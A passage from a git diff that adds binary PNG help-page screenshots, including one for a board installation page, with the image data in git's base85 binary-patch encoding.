zOi#)H7-uEKvChoQS$U`Ndh{XQXbFGj&KY>?5Mvc9H-n`VwE%Kf>qb0N6zV`0jj7f7 z+{{#d8RKLqgPH=+SqDvzs*gErBj_#xz#EQdHARt%WTz#dU zEaamD3qM@b9{&{Rpi4A@I>ICR6K&_T+{FIWG*Cx8Nn;^I;M)N9LB2vif3lL1G~3V* zlRI=u5ek>4;lv|$l}{uT;6{(P2lL&(mxca~H2w2}JF4~{Jz~HOTzo^UBd9*U0oCZ!B)>m3daY3HrV9DTrf85*#gOE{S_{+NzbV?q+;E1w3 zS~)_;J-JGaVPbOy)ausM*2On>1z3iSJ)xz2^?9T;&_ZW4Ed7X+>&3w|dP4UNIk$k$ zE=H>5x5-ru8k8)Ec zM>p!9K7HSyaR5Oct?kvOU{nA!IyGT(X=S*gZ3*bVZl6_VRUmc{lW9+;y@0Q>==;b0 z7o|i?gLs39r3g?=(d5iHU$QKq7@e13-Cw(&Q^Qo}0iAvFHZs7awd3^o^~P2Nx;#{A zR=GX`_@0LDtW1r7)-(`wBuz7@Q=2v#aF*4s`UOB@CM}i9v3)uLJl>-7Q|Un$++4jv zN|x9N=Mu4j=rvs4QfO5zAC4xjTPBtqPRHwnuP0bPC^d{AZ_8o^t13cK9XkPq)T2Ym zG(p?Y)2g!&+6op^7zYMOADDy)V_G6~xauiYoI;2&)?j60Hvvuv?38AkI{dS&I(#a{ zNlYDXA)h*?);5N8m$&>R7XojIof;C0^p;W#XF>LdoPNRqHTf(;o023V{uYj=dB4oj zyrPwN`oDw5z;+HGIHCl)8datUH#;?Mx3PI)7{xaAw|R37L<4FcC#kJCj=NZ4AZ>T2 z1Nm0p9T@E8(%U30==+^SfwMPXoZX9!|?QyaRdPAoLy&a_7j$Fs6HE9Dj!f@sh>_&j<4V zf9-vFIF$eUuVu2NP%8UUeNd4-vTvbMR4NIPy{sV`gCRwdBxTJb(O8^+?lE9+*UbaPFkP}1x2w)R)cSYy18t|4dSJe#wvnr&l^?-#+|9z zAJ$oBb&#VhQ?%%&ykm2^>X@d$h*t+$f!A6%iUow~6VDS1%`Nwu_SrdpAH5cXDcw%> zJ&74ujEI{_^;N=Fl#Z1>nEaW{9sNq%-)6;r*vu+#9&rkvN)8}|^KNZ~I<|ErKHS8; zhK40CrMW+jXKN~F;trC!5q&j|xwl!7a@`_saMFTvjG_RjN!%Velpogs$`H1ZfRJD|C*e{{&aMfuUFq12M@v9#nq}dU-JTW$Q89Ne$Tv4V8xXaOu={!f9N1ja<@LSoab2;^lT#96FvP zCUjH$Ysn|jaDWh&)8ZBB6bQbDu8c72aF2kyOZf`0GK@hBsC)8lDr1g*jvco80ZG8) z5iB$pr<0k69I#xYt>dLG_DppKHZ+00=7RQ)$_C+p^{&}>-g-qVyD@6sJU@Qy-1D

    >dkAoilk3XkD=d#b<33)S=nS+T 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 literal 0 HcmV?d00001 diff --git a/admin/help/img/make_general_site/board_install.PNG b/admin/help/img/make_general_site/board_install.PNG new file mode 100644 index 0000000000000000000000000000000000000000..c1ac923e6997f61606125030f2487056f3aece69 GIT binary patch literal 21484 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 